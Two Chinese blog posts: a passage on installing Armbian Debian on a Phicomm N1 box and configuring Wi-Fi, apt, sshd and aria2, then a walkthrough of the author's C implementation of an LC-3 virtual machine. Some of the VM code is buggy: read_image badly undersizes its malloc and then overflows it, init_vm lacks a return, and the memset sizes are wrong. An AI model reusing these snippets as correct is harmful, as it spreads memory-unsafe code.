一台斐讯 N1</li>
键盘，鼠标</li>
</ul>

可以试试没有 HDMI 线和键鼠进行安装，好像进入 U 盘中的镜像时会自动开启 sshd 服务。</p>
</blockquote>
安装系统</h2>
基本分为三个步骤：</p>

将 N1 降级</li>
插入带有镜像的 U 盘，然后使用 adb shell reboot update</code> 进入 U 盘镜像中的系统</li>
使用镜像中的脚本完成安装。</li>
</ol>
这部分可以看其他人的图文教程（忘了截图了...）例如 https://www.cnblogs.com/HintLee/p/9866485.html</a> 和 https://www.aptx.xin/phicomm-n1.html</a></p>
N1 降级</h3>
将 N1 的 USB 调试打开，然后用 webpad 的降级工具降级，工具运行完成后重启盒子的系统，虽然看起来版本号没有变，但是底层的版本号确实降级了。</p>
镜像安装</h3>
首先是去找镜像。恩山上的帖子感觉有点复古，所以我就去外网找到了这个帖子：https://forum.armbian.com/topic/7930-armbian-for-amlogic-s9xxx-kernel-5x/</a>，但是这里面提供的镜像竟然是 rc 版本的，于是就又去 https://forum.armbian.com/topic/12162-single-armbian-image-for-rk-aml-aw/</a> 找到了三种芯片合一镜像。虽然镜像解压出来有 5G 大小，但是这个 build 比较新，是 2 月 20 日左右编译的。我选择了 "Armbian_20.05.0-trunk_Arm-64_buster_current_5.5.1_20200227.img" 这个不带桌面的 Debian buster 系统的镜像。网盘地址：https://yadi.sk/d/_rQgn_FosYuW0g</a></p>
其次是刻录 U 盘，这里推荐 rufus，绿色版文件不到 10 MB。操作也非常简单。</p>
</p>
刻录完成后打开 "BOOT" 分区，修改 "uEnv.txt"。将 "# aml s9xxx" 下面几行行去除注释，将下一行改成 N1 的 dtb 文件路径。</p>
最后是惊险刺激的安装环节。在 adb 连接上盒子后，执行 adb shell reboot update</code> ，然后迅速插入 U 盘，可以看到 U 盘中的 Debian 开始启动。</p>

这里有个坑点，如果是 USB 3.0 的 U 盘的话可能无法进入 U 盘中的系统，而是进入了 Recovery。导致前面情况的原因可能是盒子的供电不足，需要使用盒子上的另一个 USB 口对盒子进行供电。将 USB Type A 的双头线将电脑和盒子进行连接即可解决问题。</p>
</blockquote>
</p>
先输入用户名 "root" 和默认密码 "1234" 登录系统后进行修改 root 用户的密码，新建普通用户。最后执行 "./install-aml.sh" 进行安装。</p>
系统配置</h2>
安装完成后重启，拔出 U 盘，即可使用之前创建的用户登录系统。</p>
连接 WIFI</h3>
然后执行 sudo nmtui</code>，使用 "nmtui" 进行配置网络。在 TUI 中使用键盘的方向键控制选项，使用回车进行确定，使用 Esc 进行返回。</p>
选择 "Activate a connection" 就可以在 TUI 中连接 WIFI 了。选择网络，输入密码，连接网络一气呵成。</p>
配置 apt 源</h3>
还得配置下 apt 源。我用的 sudo sed "s/\/\/.*debian.org/\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list -i</code> 进行修改 apt 源。先去掉命令最后的 -i 选项，看看文件是否正确修改，然后加上 -i 选项进行修改。</p>
启动 sshd</h3>
最后看一下 sshd 是否启动：sudo systemctl status sshd</code></p>
如果没启动，那就 sudo systemctl start sshd</code> 进行启动，然后在用电脑的 ssh 连接上盒子。当然，用 JuiceSSH 或者 Termux 连接也行。</p>
</p>
配置相应的软件（未完）</h2>
aria2：HTTP/Bt 下载</h3>
先安装上 aria2 sudo apt update && sudo apt install aria2</code></p>
然后在相应目录配置好 $HOME/.aria2/aria2.conf</code> 还有 systemd 的 unit。我将通过 systemd 来实现开机启动 aria2。</p>
</p>
由于在 aria2 的配置文件中设置了 save-session</code>，所以得将 save-session</code> 后面所指定的文件 touch</code> 创建出来，要不然会报错。</p>

systemd 对于非 Linux 用户不太友好，但是对 Linux 用户来说还是方便啊。</p>
</blockquote>
最后使用 systemd --user enable aria2.service && systemd --user start aria2.service</code> 启动 aria2。</p>
</p>
这个 service 会随着用户的退出而退出，所以要将当前用户设置为驻留用户：loginctl enable-linger $USER</code>，这样就能实现开机启动，用户登出时不退出服务了。</p>


LC3-VM 学习和实现
2020-01-15T00:00:00+00:00
本文是根据 https://justinmeiners.github.io/lc3-vm</a> 和 https://justinmeiners.github.io/lc3-vm/supplies/lc3-isa.pdf</a> ISA 写出 LC3 VM 的实现过程。</p>
代码已上传到了 Github 上：https://github.com/chenx6/lc3-vm</a></p>
LC3 架构</h2>
内存</h3>
LC3 架构有 2^16 个地址，每个地址包含一个 word (2 byte, 16 bit)。是大端序存储。所以用 C 表示如下。</p>
uint16_t</span> *</span>memory </span>=</span> malloc</span>(</span>UINT16_MAX </span>*</span> sizeof</span>(</span>uint16_t</span>)</span>)</span>;</span></span></code></pre>指令</h3>
指令长度为固定 16 bit (不定长的 x86 出来挨打)。12-15 bit 用于表示 opcode，其他部分则是根据 opcode 来发挥其用途。下面是使用枚举类型表示出 LC3 指令的 opcode。</p>
enum</span> Opcode</span></span>
{</span></span>
    OP_BR </span>=</span> 0</span>,</span> /*</span> branch </span>*/</span></span>
    OP_ADD</span>,</span>    /*</span> add  </span>*/</span></span>
    OP_LD</span>,</span>     /*</span> load </span>*/</span></span>
    OP_ST</span>,</span>     /*</span> store </span>*/</span></span>
    OP_JSR</span>,</span>    /*</span> jump register </span>*/</span></span>
    OP_AND</span>,</span>    /*</span> bitwise and </span>*/</span></span>
    OP_LDR</span>,</span>    /*</span> load register </span>*/</span></span>
    OP_STR</span>,</span>    /*</span> store register </span>*/</span></span>
    OP_RTI</span>,</span>    /*</span> unused </span>*/</span></span>
    OP_NOT</span>,</span>    /*</span> bitwise not </span>*/</span></span>
    OP_LDI</span>,</span>    /*</span> load indirect </span>*/</span></span>
    OP_STI</span>,</span>    /*</span> store indirect </span>*/</span></span>
    OP_JMP</span>,</span>    /*</span> jump/ret </span>*/</span></span>
    OP_RES</span>,</span>    /*</span> reserved (unused) </span>*/</span></span>
    OP_LEA</span>,</span>    /*</span> load effective address </span>*/</span></span>
    OP_TRAP</span>    /*</span> execute trap </span>*/</span></span>
}</span>;</span></span></code></pre>寄存器</h3>
LC3 有三种寄存器，通用寄存器 (R0-R7)，指令计数器 (PC)，条件寄存器 (COND)。</p>
条件寄存器则是存储着三种状态：负数 (N)，零 (Z)，正 (P)。</p>
下面是使用枚举类型表示出寄存器的下标，还有条件寄存器的条件。</p>

枚举类型的最后一个无实际价值，只是用来表示寄存器的数量</p>
</blockquote>
enum</span> Register</span></span>
{</span></span>
    R_R0 </span>=</span> 0</span>,</span> /*</span> General purpose registers </span>*/</span></span>
    R_R1</span>,</span></span>
    R_R2</span>,</span></span>
    R_R3</span>,</span></span>
    R_R4</span>,</span></span>
    R_R5</span>,</span></span>
    R_R6</span>,</span> /*</span> User Stack Pointer </span>*/</span></span>
    R_R7</span>,</span></span>
    R_PC</span>,</span>   /*</span> Program counter </span>*/</span></span>
    R_COND</span>,</span> /*</span> Condition codes </span>*/</span></span>
    R_COUNT</span> /*</span> Counter </span>*/</span></span>
}</span>;</span></span>
</span>
enum</span> Condition</span></span>
{</span></span>
    FL_POS </span>=</span> 1</span> <<</span> 0</span>,</span> /*</span> Positive </span>*/</span></span>
    FL_ZRO </span>=</span> 1</span> <<</span> 1</span>,</span> /*</span> Zero </span>*/</span></span>
    FL_NEG </span>=</span> 1</span> <<</span> 2</span>,</span> /*</span> Negative </span>*/</span></span>
}</span>;</span></span></code></pre>其他</h3>
LC3 还有中断，内存映射的 IO，优先级等。</p>
在 LC3 中有个类似 x86 int 的 TRAP，实现输入输出等功能。</p>
enum</span> Trap</span></span>
{</span></span>
    TRAP_GETC </span>=</span> 0x</span>20</span>,</span>  /*</span> get character from keyboard </span>*/</span></span>
    TRAP_OUT </span>=</span> 0x</span>21</span>,</span>   /*</span> output a character </span>*/</span></span>
    TRAP_PUTS </span>=</span> 0x</span>22</span>,</span>  /*</span> output a word string </span>*/</span></span>
    TRAP_IN </span>=</span> 0x</span>23</span>,</span>    /*</span> input a string </span>*/</span></span>
    TRAP_PUTSP </span>=</span> 0x</span>24</span>,</span> /*</span> output a byte string </span>*/</span></span>
    TRAP_HALT </span>=</span> 0x</span>25</span>   /*</span> halt the program </span>*/</span></span>
}</span>;</span></span></code></pre>
在内存中映射的寄存器，可以通过内存地址进行访问，这里可以访问内存知道当前键盘按下与否，按下的按键，还有输出状态的功能。</p>
enum</span> Memory</span></span>
{</span></span>
    MR_KBSR </span>=</span> 0x</span>FE00</span>,</span>  /*</span> keyboard status </span>*/</span></span>
    MR_KBDR </span>=</span> 0x</span>FE02</span>,</span>  /*</span> keyboard data </span>*/</span></span>
    MR_DSR </span>=</span> 0x</span>FE04</span>,</span>   /*</span> display status </span>*/</span></span>
    MV_DDR </span>=</span> 0x</span>FE06</span>,</span>   /*</span> display data </span>*/</span></span>
    MCR </span>=</span> 0x</span>FFFE</span>       /*</span> machine control </span>*/</span></span>
}</span>;</span></span></code></pre>虚拟机实现</h2>
虚拟机基本架构</h3>
原文将读取文件和解析指令耦合在了一起，并且将内存和寄存器都变成了全局变量，那样就不能同时跑多个虚拟机了。所以在我的实现中，将读取文件，和解析指令并执行进行了拆分，将存储内存和寄存器的数组从全局变量变成了动态内存，还从别的项目里偷了测试样例 https://github.com/viking/lc3-vm/</a>，最后写个 CMake 来负责处理编译依赖。</p>
通过一个结构体表示虚拟机的状态 (内存和寄存器) 会方便管理一些。</p>
typedef</span> struct</span> _vm_ctx</span></span>
{</span></span>
    uint16_t</span> *</span>memory</span>;</span></span>
    uint16_t</span> *</span>regs</span>;</span></span>
}</span> vm_ctx</span>;</span></span>
</span>
vm_ctx </span>*</span>init_vm</span>(</span>const</span> char</span> *</span>path</span>)</span></span>
{</span></span>
    vm_ctx </span>*</span>curr_vm </span>=</span> malloc</span>(</span>sizeof</span>(</span>vm_ctx</span>)</span>)</span>;</span></span>
    curr_vm</span>-></span>memory</span> =</span> read_image</span>(</span>path</span>)</span>;</span></span>
    curr_vm</span>-></span>regs</span> =</span> malloc</span>(</span>sizeof</span>(</span>uint16_t</span>)</span> *</span> R_COUNT</span>)</span>;</span></span>
}</span></span>
</span>
void</span> destory_vm</span>(</span>vm_ctx </span>*</span>curr_vm</span>)</span></span>
{</span></span>
    free</span>(</span>curr_vm</span>-></span>memory</span>)</span>;</span></span>
    free</span>(</span>curr_vm</span>-></span>regs</span>)</span>;</span></span>
    free</span>(</span>curr_vm</span>)</span>;</span></span>
}</span></span></code></pre>
整个虚拟机先从参数指向的程序读取程序镜像，然后开始不断运行程序，直到虚拟机解析到相关 Trap 时终止程序运行。</p>
int</span> main</span>(</span>int</span> argc</span>,</span> char</span> *</span>*</span>argv</span>)</span></span>
{</span></span>
    vm_ctx </span>*</span>curr_vm</span>;</span></span>
    if</span> (</span>argc </span>==</span> 2</span>)</span></span>
    {</span></span>
        curr_vm </span>=</span> init_vm</span>(</span>argv</span>[</span>1</span>]</span>)</span>;</span></span>
    }</span></span>
    else</span></span>
    {</span></span>
        fprintf</span>(</span>stderr</span>,</span> "</span>Usage: </span>%s</span> [program]</span>\n</span>"</span>,</span> argv</span>[</span>0</span>]</span>)</span>;</span></span>
        exit</span>(</span>-</span>1</span>)</span>;</span></span>
    }</span></span>
</span>
    int</span> running </span>=</span> 1</span>;</span></span>
    while</span> (</span>running</span>)</span></span>
    {</span></span>
        running </span>=</span> execute_inst</span>(</span>curr_vm</span>)</span>;</span></span>
    }</span></span>
    destory_vm</span>(</span>curr_vm</span>)</span>;</span></span>
    return</span> 0</span>;</span></span>
}</span></span></code></pre>读取程序</h3>
就是上面代码中出现的 read_image</code> 函数。</p>
由于程序为大端序，而平时使用的 x86 PC 是小端序，所以在读取时需要将程序转换成小端序以方便后面的解析。</p>
我们通过 read_image</code> 函数来将程序加载到内存中，并且转换为小端序的操作。</p>
/*</span> change endianness </span>*/</span></span>
uint16_t</span> swap16</span>(</span>uint16_t</span> x</span>)</span></span>
{</span></span>
    return</span> (</span>x </span><<</span> 8</span>)</span> |</span> (</span>x </span>>></span> 8</span>)</span>;</span></span>
}</span></span>
</span>
uint16_t</span> *</span>read_image</span>(</span>const</span> char</span> *</span>path</span>)</span></span>
{</span></span>
    FILE </span>*</span>file </span>=</span> fopen</span>(</span>path</span>,</span> "</span>rb</span>"</span>)</span>;</span></span>
    if</span> (</span>!</span>file</span>)</span></span>
    {</span></span>
        printf</span>(</span>"</span>[-] Read error!</span>"</span>)</span>;</span></span>
        return</span> NULL</span>;</span></span>
    }</span></span>
    uint16_t</span> *</span>memory </span>=</span> malloc</span>(</span>sizeof</span>(</span>INT16_MAX </span>*</span> sizeof</span>(</span>uint16_t</span>)</span>)</span>)</span>;</span></span>
</span>
    /*</span> the origin tells us where in memory to place the image </span>*/</span></span>
    uint16_t</span> origin</span>;</span></span>
    fread</span>(</span>&</span>origin</span>,</span> sizeof</span>(</span>origin</span>)</span>,</span> 1</span>,</span> file</span>)</span>;</span></span>
    origin </span>=</span> swap16</span>(</span>origin</span>)</span>;</span></span>
</span>
    /*</span> we know the maximum file size so we only need one fread </span>*/</span></span>
    uint16_t</span> max_read </span>=</span> UINT16_MAX </span>-</span> origin</span>;</span></span>
    uint16_t</span> *</span>p </span>=</span> memory </span>+</span> origin</span>;</span></span>
    size_t</span> read </span>=</span> fread</span>(</span>p</span>,</span> sizeof</span>(</span>uint16_t</span>)</span>,</span> max_read</span>,</span> file</span>)</span>;</span></span>
</span>
    /*</span> swap file content to little endian </span>*/</span></span>
    while</span> (</span>read</span>--</span> ></span> 0</span>)</span></span>
    {</span></span>
        *</span>p </span>=</span> swap16</span>(</span>*</span>p</span>)</span>;</span></span>
        ++</span>p</span>;</span></span>
    }</span></span>
    fclose</span>(</span>file</span>)</span>;</span></span>
    return</span> memory</span>;</span></span>
}</span></span></code></pre>执行指令</h3>
执行指令前得解析指令格式，我们可以从前面的链接中拿到 ISA，根据上面的格式来进行解析。</p>
ADD</h4>
例如 ADD 指令编码如下</p>
 15</span> 14</span> 13</span> 12</span> 11</span> 10</span>  9</span>  8</span>  7</span>  6</span>  5</span>  4</span>  3</span>  2</span>  1</span>  0</span></span>
+--------------------+--------+--------+--------+</span></span>
|</span> 0</span>|</span> 0</span>|</span> 0</span>|</span> 1</span>|</span>   DR</span>   |</span>  SR1</span>   |</span> 0</span>|</span> 00</span>  |</span>  SR2</span>   |</span></span>
+--------------------------------------+--------+</span></span>
|</span> 0</span>|</span> 0</span>|</span> 0</span>|</span> 1</span>|</span>   DR</span>   |</span>  SR1</span>   |</span> 1</span>|</span>    imm5</span>      |</span></span>
+--------------------+--------+-----------------+</span></span></code></pre>
汇编格式</p>
ADD DR</span>,</span> SR1</span>,</span> SR2</span></span>
ADD DR</span>,</span> SR1</span>,</span> imm5</span></span></code></pre>
描述</p>

If bit [5] is 0, the second source operand is obtained from SR2. If bit [5] is 1, the second source operand is obtained by sign-extending the imm5 ﬁeld to 16 bits. In both cases, the second source operand is added to the contents of SR1 and the result stored in DR. The condition codes are set, based on whether the result is negative, zero, or positive.</p>
</blockquote>
通过上面的资料可以知道 ADD 指令的编码的 12-15 bit 为 ADD 的 opcode 0001，9-11 bit 为目标寄存器 8-6 bit 为源寄存器 1。由指令的 bit [5]</code> 第 5 个 bit 指定操作对象，一种操作对象为立即数，另一种操作对象是寄存器。</p>
所以根据分析写出如下代码，通过位操作取出目标寄存器和源寄存器的下标，或者取出立即数，通过下标访问不同寄存器进行计算。最后根据运算结果更新条件寄存器。</p>
switch</span> (</span>op</span>)</span></span>
{</span></span>
case</span> OP_ADD</span>:</span></span>
    /*</span> using {} to declare varible in labels </span>*/</span></span>
    {</span></span>
        uint16_t</span> dr </span>=</span> (</span>instr </span>>></span> 9</span>)</span> &</span> 0x</span>7</span>;</span></span>
        uint16_t</span> sr1 </span>=</span> (</span>instr </span>>></span> 6</span>)</span> &</span> 0x</span>7</span>;</span></span>
        uint16_t</span> is_imm </span>=</span> (</span>instr </span>>></span> 5</span>)</span> &</span> 0x</span>1</span>;</span> /*</span> check the op2 is sr2 or imm </span>*/</span></span>
</span>
        if</span> (</span>is_imm</span>)</span></span>
        {</span></span>
            uint16_t</span> imm5 </span>=</span> sign_extend</span>(</span>instr </span>&</span> 0x</span>1F</span>,</span> 5</span>)</span>;</span></span>
            curr_vm</span>-></span>regs</span>[</span>dr</span>]</span> =</span> curr_vm</span>-></span>regs</span>[</span>sr1</span>]</span> +</span> imm5</span>;</span></span>
        }</span></span>
        else</span></span>
        {</span></span>
            uint16_t</span> sr2 </span>=</span> instr </span>&</span> 0x</span>7</span>;</span></span>
            curr_vm</span>-></span>regs</span>[</span>dr</span>]</span> =</span> curr_vm</span>-></span>regs</span>[</span>sr1</span>]</span> +</span> curr_vm</span>-></span>regs</span>[</span>sr2</span>]</span>;</span></span>
        }</span></span>
        update_flags</span>(</span>dr</span>,</span> curr_vm</span>-></span>regs</span>)</span>;</span></span>
    }</span></span>
    break</span>;</span></span>
    /*</span> ... </span>*/</span></span>
}</span></span></code></pre>
取出立即数时需要注意立即数的长度为 5 bit，但是寄存器的长度为 16 bit。例如在长度为 4 bit 内使用补码表示 -1，则 0-3 bit 存储着 1111</code>，直接转换为长度到 16 bit 时则和 31 0000000000001111</code> 相等，造成混乱。这就需要对立即数进行扩展。</p>
/*</span> convert to 16 bit with sign </span>*/</span></span>
uint16_t</span> sign_extend</span>(</span>uint16_t</span> num</span>,</span> int</span> bit_count</span>)</span></span>
{</span></span>
    if</span> (</span>(</span>num </span>>></span> (</span>bit_count </span>-</span> 1</span>)</span>)</span> &</span> 1</span>)</span></span>
    {</span></span>
        num </span>|=</span> (</span>0X</span>FFFF</span> <<</span> bit_count</span>)</span>;</span></span>
    }</span></span>
    return</span> num</span>;</span></span>
}</span></span></code></pre>
在进行完运算后，要根据结果将条件寄存器进行更新，这就是 update_flags</code> 函数。</p>
/*</span> using regs[index] to update flags </span>*/</span></span>
void</span> update_flags</span>(</span>uint16_t</span> index</span>,</span> uint16_t</span> regs</span>[]</span>)</span></span>
{</span></span>
    if</span> (</span>regs</span>[</span>index</span>]</span> ==</span> 0</span>)</span></span>
    {</span></span>
        regs</span>[</span>R_COND</span>]</span> =</span> FL_ZRO</span>;</span></span>
    }</span></span>
    else</span> if</span> (</span>regs</span>[</span>index</span>]</span> >></span> 15</span>)</span></span>
    {</span></span>
        regs</span>[</span>R_COND</span>]</span> =</span> FL_NEG</span>;</span></span>
    }</span></span>
    else</span></span>
    {</span></span>
        regs</span>[</span>R_COND</span>]</span> =</span> FL_POS</span>;</span></span>
    }</span></span>
}</span></span></code></pre>LD</h4>
同样我们可以解析并执行 LD 语句的 C 语言代码。</p>
 15</span> 14</span> 13</span> 12</span> 11</span> 10</span>  9</span>  8</span>  7</span>  6</span>  5</span>  4</span>  3</span>  2</span>  1</span>  0</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span> 0</span>|</span> 0</span>|</span> 1</span>|</span> 0</span>|</span>   DR   </span>|</span>        PCoffset9         </span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>
LD 语句就是从 PC + 相对偏移得到地址后，从地址中取出值并赋予 DR。当然 pc_offset 又是需要进行扩展的。</p>
case OP_LD:</span></span>
{</span></span>
    uint16_t</span> dr </span>=</span> (</span>instr </span>>></span> 9</span>)</span> &</span> 0x</span>7</span>;</span></span>
    uint16_t</span> pc_offset </span>=</span> sign_extend</span>(</span>instr </span>&</span> 0x</span>1ff</span>,</span> 9</span>)</span>;</span></span>
</span>
    curr_vm</span>-></span>regs</span>[</span>dr</span>]</span> =</span> mem_read</span>(</span>curr_vm</span>-></span>regs</span>[</span>R_PC</span>]</span> +</span> pc_offset</span>,</span> curr_vm</span>-></span>memory</span>)</span>;</span></span>
    update_flags</span>(</span>dr</span>,</span> curr_vm</span>-></span>regs</span>)</span>;</span></span>
}</span></span></code></pre>BR</h4>
而 BR 语句则是负责条件跳转，条件则为指令中的 9-11 bit 进行决定。例如指令中 N 位为 1，而且寄存器中的条件寄存器 N 也为 1，则跳转。N, P, Z 这三种条件可以自由组合，只要满足某一个条件就跳转。跳转表示为 PC 指针加上偏移值。</p>
case OP_BR:</span></span>
{</span></span>
    uint16_t</span> n_flag </span>=</span> (</span>instr </span>>></span> 11</span>)</span> &</span> 0x</span>1</span>;</span></span>
    uint16_t</span> z_flag </span>=</span> (</span>instr </span>>></span> 10</span>)</span> &</span> 0x</span>1</span>;</span></span>
    uint16_t</span> p_flag </span>=</span> (</span>instr </span>>></span> 9</span>)</span> &</span> 0x</span>1</span>;</span></span>
    uint16_t</span> pc_offset </span>=</span> sign_extend</span>(</span>instr </span>&</span> 0x</span>1FF</span>,</span> 9</span>)</span>;</span></span>
</span>
    if</span> (</span>(</span>n_flag </span>&&</span> (</span>curr_vm</span>-></span>regs</span>[</span>R_COND</span>]</span> &</span> FL_NEG</span>)</span>)</span> ||</span></span>
        (</span>z_flag </span>&&</span> (</span>curr_vm</span>-></span>regs</span>[</span>R_COND</span>]</span> &</span> FL_ZRO</span>)</span>)</span> ||</span></span>
        (</span>p_flag </span>&&</span> (</span>curr_vm</span>-></span>regs</span>[</span>R_COND</span>]</span> &</span> FL_POS</span>)</span>)</span>)</span></span>
    {</span></span>
</span>
        curr_vm</span>-></span>regs</span>[</span>R_PC</span>]</span> +=</span> pc_offset</span>;</span></span>
    }</span></span>
}</span></span></code></pre>mem_read 函数</h4>
由于有内存映射的寄存器的存在，所以要将访问某些特殊地址时实际上是想访问某些寄存器，所以在读写特殊内存地址时要进行魔改。例如在访问 MR_KBSR 地址时候就需要将按键状态返回。</p>
uint16_t</span> mem_read</span>(</span>uint16_t</span> address</span>,</span> uint16_t</span> *</span>memory</span>)</span></span>
{</span></span>
    /*</span> reading the memory mapped keyboard register triggers a key check </span>*/</span></span>
    if</span> (</span>address </span>==</span> MR_KBSR</span>)</span></span>
    {</span></span>
        if</span> (</span>check_key</span>(</span>)</span>)</span></span>
        {</span></span>
            memory</span>[</span>MR_KBSR</span>]</span> =</span> (</span>1</span> <<</span> 15</span>)</span>;</span></span>
            memory</span>[</span>MR_KBDR</span>]</span> =</span> getchar</span>(</span>)</span>;</span></span>
        }</span></span>
        else</span></span>
        {</span></span>
            memory</span>[</span>MR_KBSR</span>]</span> =</span> 0</span>;</span></span>
        }</span></span>
    }</span></span>
    return</span> memory</span>[</span>address</span>]</span>;</span></span>
}</span></span></code></pre>
check_key</code> 函数用于将按键状态返回给程序。首先将 STDIN 绑定到集合中，然后通过 select</code> 函数监视文件描述符的状态，如果有按键输入，则返回 1，否则返回 0；</p>
/*</span> get keyboard status </span>*/</span></span>
uint16_t</span> check_key</span>(</span>)</span></span>
{</span></span>
    fd_set readfds</span>;</span></span>
    FD_ZERO</span>(</span>&</span>readfds</span>)</span>;</span></span>
    FD_SET</span>(</span>STDIN_FILENO</span>,</span> &</span>readfds</span>)</span>;</span></span>
</span>
    struct</span> timeval timeout</span>;</span></span>
    timeout</span>.</span>tv_sec</span> =</span> 0</span>;</span></span>
    timeout</span>.</span>tv_usec</span> =</span> 0</span>;</span></span>
    return</span> select</span>(</span>1</span>,</span> &</span>readfds</span>,</span> NULL</span>,</span> NULL</span>,</span> &</span>timeout</span>)</span> !=</span> 0</span>;</span></span>
}</span></span></code></pre>TRAP</h4>
在处理中断时使用函数来进行处理，降低代码耦合度。</p>
case OP_TRAP:</span></span>
{</span></span>
    running </span>=</span> execute_trap</span>(</span>curr_vm</span>,</span> instr</span>,</span> stdin</span>,</span> stdout</span>)</span>;</span></span>
}</span></span>
break</span>;</span></span></code></pre>Trap 翻译</h3>
将不同中断用 C 语言表示就行。由 ISA 可以知道 Trap 向量由 0-7 bit 表示。上面已经提及过了 Trap 的路径和功能，所以相关功能使用 C 语言表示如下。</p>
switch</span> (</span>instr </span>&</span> 0x</span>FF</span>)</span></span>
{</span></span>
case</span> TRAP_GETC</span>:</span></span>
{</span></span>
    uint16_t</span> c </span>=</span> getc</span>(</span>in</span>)</span>;</span></span>
    curr_vm</span>-></span>regs</span>[</span>R_R0</span>]</span> =</span> c</span>;</span></span>
}</span></span>
break</span>;</span></span>
/*</span> ... </span>*/</span></span>
}</span></span>
break</span>;</span></span></code></pre>虚拟机测试</h2>
通过位运算构造相应的指令，然后运行此指令，看看预期和结果是否相符。如果不相符就是挂了，返回 0；如果通过了那就返回 1。</p>
int</span> test_add_1</span>(</span>vm_ctx </span>*</span>curr_vm</span>)</span></span>
{</span></span>
    int</span> pass </span>=</span> 1</span>;</span></span>
    uint16_t</span> add_instr </span>=</span></span>
        (</span>(</span>OP_ADD </span>&</span> 0x</span>f</span>)</span> <<</span> 12</span>)</span> |</span></span>
        (</span>(</span>R_R0 </span>&</span> 0x</span>7</span>)</span> <<</span> 9</span>)</span> |</span></span>
        (</span>(</span>R_R1 </span>&</span> 0x</span>7</span>)</span> <<</span> 6</span>)</span> |</span></span>
        (</span>R_R2 </span>&</span> 0x</span>7</span>)</span>;</span></span>
</span>
    curr_vm</span>-></span>memory</span>[</span>0x</span>3000</span>]</span> =</span> add_instr</span>;</span></span>
    curr_vm</span>-></span>regs</span>[</span>R_R1</span>]</span> =</span> 1</span>;</span></span>
    curr_vm</span>-></span>regs</span>[</span>R_R2</span>]</span> =</span> 2</span>;</span></span>
</span>
    int</span> result </span>=</span> execute_inst</span>(</span>curr_vm</span>)</span>;</span></span>
    if</span> (</span>result </span>!=</span> 1</span>)</span></span>
    {</span></span>
        printf</span>(</span>"</span>Expected return value to be 1, got </span>%d</span>\n</span>"</span>,</span> result</span>)</span>;</span></span>
        pass </span>=</span> 0</span>;</span></span>
    }</span></span>
</span>
    if</span> (</span>curr_vm</span>-></span>regs</span>[</span>R_R0</span>]</span> !=</span> 3</span>)</span></span>
    {</span></span>
        printf</span>(</span>"</span>Expected register 0 to contain 3, got </span>%d</span>\n</span>"</span>,</span> curr_vm</span>-></span>regs</span>[</span>R_R0</span>]</span>)</span>;</span></span>
        pass </span>=</span> 0</span>;</span></span>
    }</span></span>
</span>
    if</span> (</span>curr_vm</span>-></span>regs</span>[</span>R_COND</span>]</span> !=</span> FL_POS</span>)</span></span>
    {</span></span>
        printf</span>(</span>"</span>Expected condition flags to be </span>%d</span>, got </span>%d</span>\n</span>"</span>,</span> FL_POS</span>,</span> curr_vm</span>-></span>regs</span>[</span>R_COND</span>]</span>)</span>;</span></span>
        pass </span>=</span> 0</span>;</span></span>
    }</span></span>
</span>
    return</span> pass</span>;</span></span>
}</span></span></code></pre>
通过将不同测试函数用指针数组装起来，不断调用，通过返回值判断测试样例是否通过。</p>
int</span> test_env</span>(</span>)</span></span>
{</span></span>
    vm_ctx curr_vm</span>;</span></span>
    curr_vm</span>.</span>regs</span> =</span> malloc</span>(</span>sizeof</span>(</span>uint16_t</span>)</span> *</span> R_COUNT</span>)</span>;</span></span>
    curr_vm</span>.</span>memory</span> =</span> malloc</span>(</span>UINT16_MAX </span>*</span> sizeof</span>(</span>uint16_t</span>)</span>)</span>;</span></span>
    int</span> (</span>*</span>test_case</span>[]</span>)</span>(</span>vm_ctx </span>*</span> curr_vm</span>)</span> =</span> {</span>test_add_1</span>,</span> test_add_2</span>}</span>;</span></span>
</span>
    int</span> result </span>=</span> 1</span>;</span></span>
    int</span> case_num </span>=</span> sizeof</span>(</span>test_case</span>)</span> /</span> sizeof</span>(</span>uint16_t</span> *</span>)</span>;</span></span>
    for</span> (</span>int</span> i </span>=</span> 0</span>;</span> i </span><</span> case_num</span>;</span> i</span>++</span>)</span></span>
    {</span></span>
        curr_vm</span>.</span>regs</span>[</span>R_PC</span>]</span> =</span> 0x</span>3000</span>;</span></span>
        memset</span>(</span>curr_vm</span>.</span>memory</span>,</span> 0</span>,</span> UINT16_MAX</span>)</span>;</span></span>
        memset</span>(</span>curr_vm</span>.</span>regs</span>,</span> 0</span>,</span> R_COUNT</span>)</span>;</span></span>
        result </span>=</span> test_case</span>[</span>i</span>]</span>(</span>&</span>curr_vm</span>)</span>;</span></span>
        if</span> (</span>result </span>==</span> 0</span>)</span></span>
        {</span></span>
            printf</span>(</span>"</span>Test </span>%d</span> fail!</span>\n</span>"</span>,</span> i</span>)</span>;</span></span>
            free</span>(</span>curr_vm</span>.</span>memory</span>)</span>;</span></span>
            free</span>(</span>curr_vm</span>.</span>regs</span>)</span>;</span></span>
            return</span> result</span>;</span></span>
        }</span></span>
</span>
        else</span> if</span> (</span>result </span>==</span> 1</span>)</span></span>
        {</span></span>
            printf</span>(</span>"</span>Test </span>%d</span> passed!</span>\n</span>"</span>,</span> i</span>)</span>;</span></span>
        }</span></span>
    }</span></span>
    free</span>(</span>curr_vm</span>.</span>memory</span>)</span>;</span></span>
    free</span>(</span>curr_vm</span>.</span>regs</span>)</span>;</span></span>
    return</span> result</span>;</span></span>
}</span></span></code></pre>
原文中还有编译好的 2048 和 rouge，可以试着跑一下。</p>
编译</h2>
使用 CMake 进行依赖处理，将测试程序和源程序分开，并且使用 make test</code> 就可以跑测试了。</p>
if</span>( </span>POLICY</span> CMP0048 )</span></span>
  cmake_policy</span>( SET CMP0048 NEW ) </span># CMake 3.0</span></span>
endif</span>()</span></span>
</span>
project</span>( lc3-vm </span>VERSION</span> 0.1 )</span></span>
cmake_minimum_required</span>( </span>VERSION</span> 2.6 )</span></span>
set</span>( CMAKE_C_STANDARD 99 )</span></span>
add_library</span>( read_image OBJECT lc3.h read_image.c )</span></span>
add_library</span>( exec_inst OBJECT lc3.h exec_inst.c )</span></span>
